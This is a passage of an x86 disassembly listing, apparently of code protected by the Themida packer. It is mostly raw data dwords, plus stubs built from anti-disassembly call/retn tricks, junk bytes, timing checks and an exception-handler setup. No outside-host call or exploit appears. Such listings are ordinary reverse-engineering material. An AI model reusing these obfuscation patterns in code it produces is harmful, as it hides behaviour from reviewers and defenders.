7FA1CF5h, 0B810Fh dd 1600000h, 0FA0C858Dh, 0F8BF0F07h, 0BBF9061h, 50191FCDh dd 310F5250h, 585A5B57h, 559D8B90h, 6407FA14h, 35FFh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 10C2FBC3h, 0E99D8B2Ah, 6407FA2Ah, 2589h, 0FFF80000h dd 0FA104985h, 6AFF6A07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B59C356h, 0FA0EE9BDh dd 299D8B07h, 0FF07FA26h, 0FA112DB5h, 0F98B5707h, 95FFF95Bh dd 7FA2875h, 123E9h, 0D19D8B00h, 0B007FA0Ah, 0FABF0F00h dd 0EE970E6h, 0E000000h, 0E1BCF584h, 0F424DC85h, 18B9092Ch dd 5171E41Ch, 26E9C3BFh, 613C5B44h, 0F2830Fh, 0B5310000h dd 7FA20B1h, 2553F9BFh, 0C8B60F57h, 0C14EF0BFh, 6BA17h dd 0BF0F0000h, 60C18BDBh, 0BE9h, 8FC37600h, 5B0E96E6h dd 0B138289Fh, 1479B501h, 0C16107FAh, 87BF04E8h, 6640092Fh dd 0BD0BE2F7h, 7FA21D5h, 0F781C82Bh, 0D166713h, 0FC60D18Bh dd 29559501h, 0E96107FAh, 94h, 858BDA8Bh, 8, 0BD89DA8Ah dd 7FA076Dh, 2907C083h, 0FA2275B5h, 69BD8B07h, 8307FA2Ah dd 860F00C0h, 2, 0D03BF98Bh, 0D830Fh, 0FB8B0000h, 5BE9h dd 19BD3300h, 8B07FA25h, 0FFFFFF8Dh, 0EE8FFh, 52CC0000h dd 2B24F137h, 0B0E0F81Eh, 103D61E6h, 0D3D38166h, 0E1835F43h dd 2D840F01h, 0E9000000h, 6, 2DF1FE8Bh, 0A58315BAh, 0FFFFFFFFh dd 0BE9FEh, 0B93C0000h, 98652915h, 0FD50DA2Ah, 89589B4h dd 0E9000000h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE6569h] sbb bx, 0BE35h push 0 mov ebx, [ebp+7FA2B95h] call dword ptr [ebp+7FA1019h] push 0 push ebp call sub_5D2238 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2238 proc near ; CODE XREF: Themida_:005D2230p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5D2238 endp ; --------------------------------------------------------------------------- add ch, 1Eh ror byte ptr [edi+16499D09h], cl cli pop es mov edi, [ebp+7FA07CDh] mov ecx, 0FE9h push 0 push ebp call sub_5D2269 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2269 proc near ; CODE XREF: Themida_:005D2261p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5D2269 endp ; --------------------------------------------------------------------------- imul ecx, [edx-744BEEA4h], 0FCE183D8h mov edi, [ebp+7FA02C1h] cld sub [ebp+7FA2C9Dh], eax mov eax, 0 push 0 push eax call sub_5D22A0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D22A0 proc near ; CODE XREF: Themida_:005D2298p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5D22A0 endp ; --------------------------------------------------------------------------- mov dl, 65h push ebx pop ecx adc eax, 76D9D01h cli pop es mov di, 0A802h sub edx, edx push 0 push edx call sub_5D22CC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D22CC proc near ; CODE XREF: Themida_:005D22C4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5D22CC endp ; --------------------------------------------------------------------------- push edi lodsd and byte ptr [eax-75h], 0D0h movzx esi, ax popa loc_5D22E6: ; CODE XREF: Themida_:005D22F0j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D22E6 push 0 push edi call sub_5D22FD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D22FD proc near ; CODE XREF: Themida_:005D22F5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5D22FD endp ; --------------------------------------------------------------------------- db 0B0h, 0F6h, 3Bh dd 5668EC6Bh, 81669FE1h, 60164FD3h, 9E9h, 5118F00h, 0E538EC5Bh dd 8B0F2E12h, 6, 153DB58Bh, 6A6107FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 32F0C355h dd 0E2441EDFh, 880D34A7h, 60000000h, 0F2BF0FF5h, 0D9958B61h dd 6A07FA1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0FA38C352h, 800F26CAh, 12h, 0CE8h dd 4B6A8A00h, 0A8904721h, 4201F8F5h, 8D8B5F80h, 7FA31ADh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8CC35242h dd 0C283E288h, 10D78166h, 0ED8589F6h, 5007FA2Eh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0B5BD8B58h, 8B07FA33h dd 0FA294DBDh, 29BD8307h, 7FA2Ah, 7E840Fh, 0BB660000h dd 0B876F4h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 53D1C356h, 0D3827505h dd 8D113F9Dh, 0FA4F668Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 2400D289h dd 0CA2E7248h, 6890Fh, 9D2B0000h, 7FA11A1h, 1C499D8Bh dd 0E1FF07FAh, 0FE9h, 81047C00h, 0A622E3E0h, 0E92DE624h dd 7FBC4B97h, 2BD9BD83h, 0F0007FAh, 45784h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 57ADDF57h, 2781BD09h, 835B07FAh, 0FA2BD9BDh, 840F0107h dd 43Fh, 0A6D9D8Bh, 83F907FAh, 0FA2BD9BDh, 860F0307h, 3F5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 21C35343h dd 4C7B690Bh, 37EDE2DAh, 0A19D8B52h, 0B707FA10h, 860F60DCh dd 4, 0D4CEBB66h, 13E8h, 6E99D300h, 0CEC7917Fh, 533CC000h dd 0CAEDC7C6h, 51AFB01Fh, 0ACE38166h, 8C665BA4h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0DC874EE5h, 29068C2Eh, 0FA1495BDh, 4E18007h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A6C35545h, 840FC90Ah dd 153h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0BAC35343h, 89B1FFF7h, 0FA26D98Dh, 0EE907h, 95000000h dd 747E228Bh, 14A014FFh, 0F6EC19A3h, 0FE9858Bh, 0BF0F07FAh dd 0FBBF0FFBh, 15E18533h, 8BF507FAh, 0DE8A90FEh, 0CDBB6650h dd 6A90DDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 3E8B21C3h, 0B09BFACBh, 6E9EBh, 6EDD0000h dd 5301CB7Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0A8ABB0C3h, 0C1F76806h, 4EBB9AB5h dd 817A9382h, 42082404h, 6A6569h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0A9C107C3h, 4C31C9BAh dd 0E8151308h, 0Fh, 6EAC22A1h, 905287B4h, 4B14C88Dh, 8BA2C39Bh dd 0FA2C419Dh, 0BB665F07h, 95FF692Bh, 7FA1CE9h, 0E780FE8Bh dd 96858981h, 6A07FDEBh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4DFDC353h, 118749BBh dd 729A74Dh, 0CE8h, 3C80D100h, 526C7F93h, 0C7B63D17h, 850F9Dh dd 5F000000h, 1B5E9h, 759D8900h, 8B07FA2Fh, 0FDEB8E85h dd 0C7F807h, 18h, 8BFE8B66h, 0FDEB92B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B278D89h, 0FA0D5185h, 8EBB6607h, 6A0689BEh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 5AAEC353h, 0C380C7ADh, 0E3BF6608h, 0E9858B6Dh, 6A07FA0Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0D8C1C352h, 8A724F1Eh, 89FA8BD8h, 95890446h dd 7FA0091h, 0F0FEBF50h, 348949EBh, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FDB7313h dd 684h, 899D8B00h, 0F07FA01h, 1789h, 6E800h, 8F770000h dd 7B252DEAh, 6E9h, 74864600h, 5B727BC7h, 0EB8EB5FFh, 6A07FDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 4E826C3h, 0FF000000h, 50001F03h, 6919BB51h, 8B5F346Ah dd 60042444h, 615A5360h, 89008B61h, 58042444h, 858DF88Bh dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 83C35040h, 166A77C6h, 32D10914h, 2145BD89h, 669007FAh dd 5002C4BFh, 0FC6070BFh, 8B669032h, 0E995FFDFh, 6A07FA1Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0AF31C356h, 0E9D58F88h, 0Bh, 0FC2DCBF7h dd 0EA309640h, 0F9807E8h, 582h, 0CB816600h, 81615A59h dd 275F10EBh, 183BF08h, 85C71BA7h, 7FA2BD9h, 3, 1F39B589h dd 0BD8307FAh, 7FDEB96h, 22840F00h, 0FC000000h, 37E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0C30509Ah, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B5C35545h, 90142F24h, 6A5F57h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 680FFCC3h, 96F32AE3h, 11E96CB1h, 69000000h, 59132C76h dd 56597255h, 656E5F60h, 0F6CD0F07h, 24DDBD29h, 0BD8307FAh dd 7FA2BD9h, 20850F03h, 81000004h, 0E1BD39F7h, 96BD8367h dd 7FDEBh, 40D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 30E94CC3h, 8B2AD780h dd 0FA2B3DBDh, 96B5FF07h, 6A07FDEBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3A54C352h dd 66FB1998h, 0FFAE16BBh, 0FA274595h, 4D858907h, 0FC07FA0Dh dd 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0BF712FC3h, 282B0800h, 106C7h, 6A0001h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 7123FAC3h, 0E94995EEh, 60ADCA6Bh, 177DB58Bh, 296107FAh dd 0FA0D718Dh, 52505007h, 52505250h, 585A310Fh, 8B66310Fh dd 0F585AF9h, 5A98B331h, 24348958h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 1CC35141h, 0A9189CEAh, 519D33F3h dd 0FF07FA31h, 0FDEB96B5h, 0FEB70F07h, 18E195FFh, 8B6007FAh dd 0FA007D8Dh, 0E5952907h, 6107FA30h, 0EB8AB58Bh, 0FE907FDh dd 0FC000000h, 0E5DEEB37h, 3B94B6B8h, 884DF861h, 858B83BDh dd 7FA1C7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0AAC35141h, 2724EDD1h, 4585D0A9h, 183DBD23h, 868907FAh dd 0C4h, 5E9h, 0AF493300h dd 958B0090h, 7FA1CD9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0C1C35040h, 33B55D49h, 8B846EFCh, 0FA1C999Dh dd 4C28307h, 2CEF8166h, 2050891Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 5CC35545h, 0B531C29Bh, 7FA24A5h dd 0FEF7858Dh, 858907FDh, 7FA0651h, 0B88689h, 0DAB70000h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0E77D1FC3h, 6850F7Eh, 8B000000h, 0FA3495BDh dd 96B5FF07h, 6607FDEBh, 95FFDE8Bh, 7FA1C95h, 8CCF8166h dd 606050EBh, 0D18A5FB3h, 52BA6661h, 3489615Eh, 0B5FFF924h dd 7FDEB96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 6CC35545h, 8E0FAF93h, 2, 95FFF88Bh, 7FA1D95h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6FC35747h, 62ABF236h dd 9896B8C5h, 31BD83C5h, 7FA01h, 6D840Fh, 8B0F0000h, 6 dd 24A99D8Bh, 8D0F07FAh, 6, 26E99529h, 509607FAh, 8D0F5250h dd 5, 8A2369BFh, 0E8310F54h, 9, 0F2F669FCh, 0EE57C56Bh dd 0FE9E3h, 0D0C50000h, 9F84E8A1h, 4866279Bh, 1EE8CB14h dd 585A5F1Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FF33A049h, 0FDEB96B5h, 0FE907h dd 7E3A0000h, 18F2C55Ch, 8A00B82Fh, 0BE224B3Dh, 0B595FFD3h dd 6007FA1Ch, 0FCA8B66h, 689h, 71858900h, 6107FA08h, 0EB96B5FFh dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0FF2193C3h, 0BB6613BBh, 95FFF434h, 7FA21ADh dd 231DB529h, 0BD8307FAh, 7FA2221h, 58840F02h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0F16FC352h, 0A5BD8B4Ch, 8907FA0Ah, 0FA2975B5h dd 15858B07h, 8B07FA16h, 0FA0A859Dh, 0C607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D4C35141h, 0C7B6C2D9h dd 0FA16DD85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 5AD351FAh, 0D7627D50h dd 18059589h, 0E9F807FAh, 0FFFFF305h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 6AC35040h, 0B20417A3h, 9D8BF3B9h dd 7FA17CDh, 2C219529h, 0C18B07FAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0DEC35242h, 8D0B773Dh, 0FA019985h dd 81BD8B07h, 5007FA17h, 61D98B60h, 60240489h, 0B589FA8Ah dd 7FA0B45h, 6A006A61h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0E137C352h, 45466EAEh dd 8151B352h, 9EA388C7h, 0E9006A10h, 6, 8900CD49h, 11E9E307h dd 0DB000000h, 1673609Ah, 7B14B8E3h, 0EC9DEE09h, 6CB6C03Ah dd 0FBC9858Dh, 0BD8907FEh, 7FA239Dh, 6A05C083h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 60A2C351h, 667AAA2Bh, 4E88CF81h, 12E86050h, 76000000h dd 4B715678h, 0D5A1E786h, 66681C5Bh, 87DFB1FBh, 5EB0B0D7h dd 0CE8h, 4C5C3700h, 85EE2C5h, 52CBD6C5h, 0DEBA66ECh, 89615950h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FB204C3h, 0CF80FEBFh, 0DE891h, 0BA020000h dd 7E44EAF4h, 7264DA26h, 9965932h, 0FA25C9BDh, 6A5B07h dd 800F006Ah, 0Ah, 5E9h, 98FEC00h, 95FFFC8Ah, 7FA2BE9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h dd 25B589DBh, 8D07FA28h, 0FDD7118Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4424ACh, 0E90EEAA6h dd 6, 82738C71h, 8B6689F1h, 0F8D1FFFEh, 33EDBD83h, 0F0107FAh dd 7985h, 0DBD8B00h, 6A07FA2Eh, 0C99D8902h, 6007FA16h dd 0B5858B60h, 6107FA33h, 52509061h, 310FDE8Bh, 58C0Fh dd 70BF0000h, 5A6C1E74h, 0FE85058h, 20000000h, 0EB251DE8h dd 291E2A74h, 9D451378h, 0D88B4071h, 6A905Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 104FCC3h dd 66A7AFD6h, 27C6CB81h, 1C9595FFh, 895207FAh, 0FA2181B5h dd 0A1E95B07h, 0E800000Ch, 0 dd 0D3ED815Dh, 3107FEFBh, 0FA32B585h, 0FCEB8107h, 0F2BEA06h dd 858DD9BFh, 7FDB959h, 68A0Fh, 9D890000h, 7FA181Dh, 50F98B90h dd 6090FC8Ah, 15DD8503h, 800F07FAh, 6, 34F98501h, 896107FAh dd 0FA2821BDh, 35FF6407h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp mov edi, [ebp+7FA07B5h] inc dword ptr [ebp+7FA1049h] push 0 push edx call sub_5D3082 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3082 proc near ; CODE XREF: Themida_:005D307Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5D3082 endp ; --------------------------------------------------------------------------- inc eax cmp bh, ah xor bh, 0B8h push 0FFFFFFFFh push 0 push edi call sub_5D30A5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D30A5 proc near ; CODE XREF: Themida_:005D309Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5D30A5 endp ; --------------------------------------------------------------------------- db 64h, 72h, 32h ; --------------------------------------------------------------------------- pop ecx xchg eax, esi sbb ebx, 7E4A8282h push dword ptr [ebp+7FA2D6Dh] push 0 push ebx call sub_5D30D1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D30D1 proc near ; CODE XREF: Themida_:005D30C9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5D30D1 endp ; --------------------------------------------------------------------------- push ebp mov dh, 0AFh pop es mov ecx, 0EDF738BEh cmp dh, ch call dword ptr [ebp+7FA2875h] jmp loc_5D322E ; --------------------------------------------------------------------------- db 81h dd 105BC4DBh, 8B00B038h, 0FA17899Dh, 0F70E607h, 71E4D9B7h dd 0C0DF8166h, 0F613CCAh, 11583h, 9DBD8900h, 0F07FA0Ah dd 0E860C8B6h, 6, 3B1E2C13h, 8B66D1F3h, 852959F1h, 7FA2EA1h dd 8B666061h, 0BA61FCD6h, 6, 28218589h, 6E907FAh, 0BC000000h dd 0A859BC8Dh, 81C18B74h, 4234AFE7h, 4E8C149h, 0FE8h, 17888700h dd 0C789C0D3h, 0DDCE1A36h, 68453465h, 68F0Fh, 0BD8B0000h dd 7FA3399h, 0E2F7665Fh, 280D9D89h, 0C82B07FAh, 8BFABF0Fh dd 0ADDFBFD1h, 93E932B4h, 29000000h, 0FA07619Dh, 1858B07h dd 8B000000h, 0FA082DBDh, 7C08307h, 0C083DA8Bh, 0FE800h dd 0CF270000h, 42E9FE33h, 38A53658h, 95153D04h, 0F5BF8CEh dd 0D03BDFB7h, 29830Fh, 0BD890000h, 7FA1F59h, 8E9h, 77FAAF00h dd 0F6950D6Eh, 40E916h, 0CE90000h, 0C0000000h, 72981DEDh dd 0B2DE2EDEh, 8B6C2DFBh, 0FFFFFF8Dh, 0E183F9FFh, 1F840F01h dd 80000000h, 0A58303EBh, 0FFFFFFFFh, 0F19D23FEh, 8907FA28h dd 195h, 94BF6600h, 0E9DCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D322E: ; CODE XREF: Themida_:005D30F2j lea esi, [ebp+7FE7552h] call sub_5D3242 popa push ebx push ebp hlt ; --------------------------------------------------------------------------- mov edi, 4BD77AFCh ; =============== S U B R O U T I N E ======================================= sub_5D3242 proc near ; CODE XREF: Themida_:005D3234p pop ebx push 0 mov [ebp+7FA1C49h], edi call dword ptr [ebp+7FA1019h] push 0 push eax call sub_5D325C and [eax-3Dh], bl sub_5D3242 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D325C proc near ; CODE XREF: sub_5D3242+12p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5D325C endp ; --------------------------------------------------------------------------- mov ds:0B260A823h, eax push edx mov esi, edx popa mov ecx, 0FFDh push edi xor [ebp+7FA27F9h], edi pop ebx and ecx, 0FFFFFFFCh or [ebp+7FA0EF1h], edx cld jmp loc_5D3296 ; --------------------------------------------------------------------------- db 0E7h, 0Bh, 87h ; --------------------------------------------------------------------------- xor esi, [esi] loc_5D3296: ; CODE XREF: Themida_:005D328Cj sub eax, eax push 0 push ebx call sub_5D32A3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D32A3 proc near ; CODE XREF: Themida_:005D329Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5D32A3 endp ; --------------------------------------------------------------------------- db 0E5h dd 0BDED6094h, 53C78166h, 0BAC1h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 857B90C3h dd 0D72ADFDEh, 0D98B8BBBh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 25C35343h dd 0C1968396h, 5E8h, 180A9200h, 0BD8919D7h, 7FA0849h, 0FFB70F5Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 68C35747h dd 0FF735770h, 880DACDDh, 8B000000h, 0FA1D85BDh, 0D9958B07h dd 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0CFA6C356h, 8D8BA0B8h, 7FA31ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 18C35040h dd 11D0D594h, 81BA1540h, 97CA10F7h, 6BF662Eh, 0C28B50CEh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0FA2981BDh dd 458D8907h, 8307FA21h, 0FA2A29BDh, 840F0007h, 37h, 2359BD89h dd 0B807FAh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 92E7C350h, 172F7D17h dd 4F668D8Dh, 0E1FF07FAh, 83DE8B66h, 0FA2BD9BDh, 840F0007h dd 387h, 2BD9BD83h, 0F0107FAh, 39584h, 5830F00h, 0BF000000h dd 290461BDh, 2BD9BD83h, 0F0307FAh, 34786h, 5FBF6600h dd 8C666021h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 5FBA6FDBh, 6A04E180h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F237C351h dd 317A2EA2h, 4413495Fh, 0ABEB8166h, 0FC90A8Bh, 0D684h dd 0FE96000h, 0DB000000h, 1176C428h, 0CD433B4Eh, 640AD6E2h dd 0B58BE0A2h, 7FA2C21h, 0E9858B61h, 6A07FA0Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 28F1C350h, 3040860Ah, 33D98B66h, 0FA15E185h, 9D015607h dd 7FA1DEDh, 5250905Bh, 4311BF66h, 0C3B3310Fh, 0E950585Ah dd 5, 0F87EBE87h, 0F569040h, 6A5FD8BFh, 0BD16800h, 8B66AAA1h dd 240481DFh, 557DF82Eh, 1CE995FFh, 0DF8B07FAh, 0EB968589h dd 958907FDh, 7FA2251h, 1D7E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DDCAFB61h dd 0E9B71A89h, 0Dh, 195C1253h, 5119DE37h, 5C736670h, 0F1BD89A8h dd 8B07FA07h, 0FDEB8E85h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 86E91A23h dd 0C8B0Fh, 820F0000h, 6, 26A99D8Bh, 0B70F07FAh, 1800C7F9h dd 66000000h, 0B58BFE8Bh, 7FDEB92h, 0EE9h, 7D66C200h, 7E8878A8h dd 8155CE82h, 0F515FEC7h, 0D51858Bh, 0BD8B07FAh, 7FA2AE1h dd 0BF0F0689h, 0E9858BDFh, 6A07FA0Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 75DAC355h dd 52C57CE1h, 9AB96B56h, 118D9589h, 0DA8A07FAh, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 598FC352h, 82346C09h, 319D335Ch, 9607FA23h dd 6ADCE6BBh, 0BF665060h, 0BB9697E3h, 6F7BD9A5h, 0EB8EB5FFh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 5C2BF2C3h, 62A0B068h, 860FC5h, 81000000h dd 634F2404h, 6A3ABCh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0FC6033C3h, 96858D61h, 6A07FDEBh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 78ECC355h, 0E821B27Ch, 0F50ED04h, 8Fh, 24048900h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 36C35747h dd 5B468CEEh, 0FF9EB457h, 0FA1CE995h, 0AE907h, 6E660000h dd 0BA19A9CEh, 72CA8E59h, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0A7004B2Bh dd 2531BD33h, 952907FAh, 7FA29DDh, 2BD985C7h, 307FAh, 8B660000h dd 96BD83F8h, 7FDEBh, 32840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C5A7A9C3h dd 2162AFABh, 24E9B2B8h, 80000000h, 9D8B5ECBh, 7FA1681h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0BBC08B00h dd 6B5F2E7Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 68C35646h, 81B177B3h, 0C6BF96E7h, 89958932h, 8307FA22h dd 0FA2BD9BDh, 850F0307h, 47Fh, 1BC59D89h, 0BD8307FAh dd 7FDEB96h, 6C840F00h, 8B000004h, 0FA26B59Dh, 96B5FF07h dd 0FC07FDEBh, 274595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E3CBCDC3h, 7388D31Fh dd 0F006BB66h, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A549F9C3h dd 73A7B781h, 8B06AFCFh, 0FA1CB19Dh, 0BF0F6007h, 419D8BCAh dd 6107FA05h, 106C7h, 0BF660001h, 0DF8BCE28h, 0C8C0F50h dd 0E9000000h, 7, 0DE82EED4h, 89EB187Eh, 0BF0F2434h, 96B5FFDEh dd 8907FDEBh, 0FA11A185h, 0E195FF07h, 6A07FA18h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 77B8C353h, 0C67EE41Ch, 6E984h, 0C59D0000h, 807B6D69h dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9BD300C3h, 0FA7AE1CBh, 7D858B94h dd 6A07FA1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0BB9FC352h, 375A0585h, 4EDF8166h dd 0C48689ECh, 80000000h, 958B24D7h, 7FA1CD9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BEC35747h, 17BEFE2Eh dd 0EE9B9h, 6D80000h, 6FF40570h, 738149FDh, 4D5212E1h dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 2163C357h, 93CE38AFh, 9D8B7391h dd 7FA20D9h, 6870Fh, 0F3810000h, 549FC9C9h, 8D205089h dd 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h, 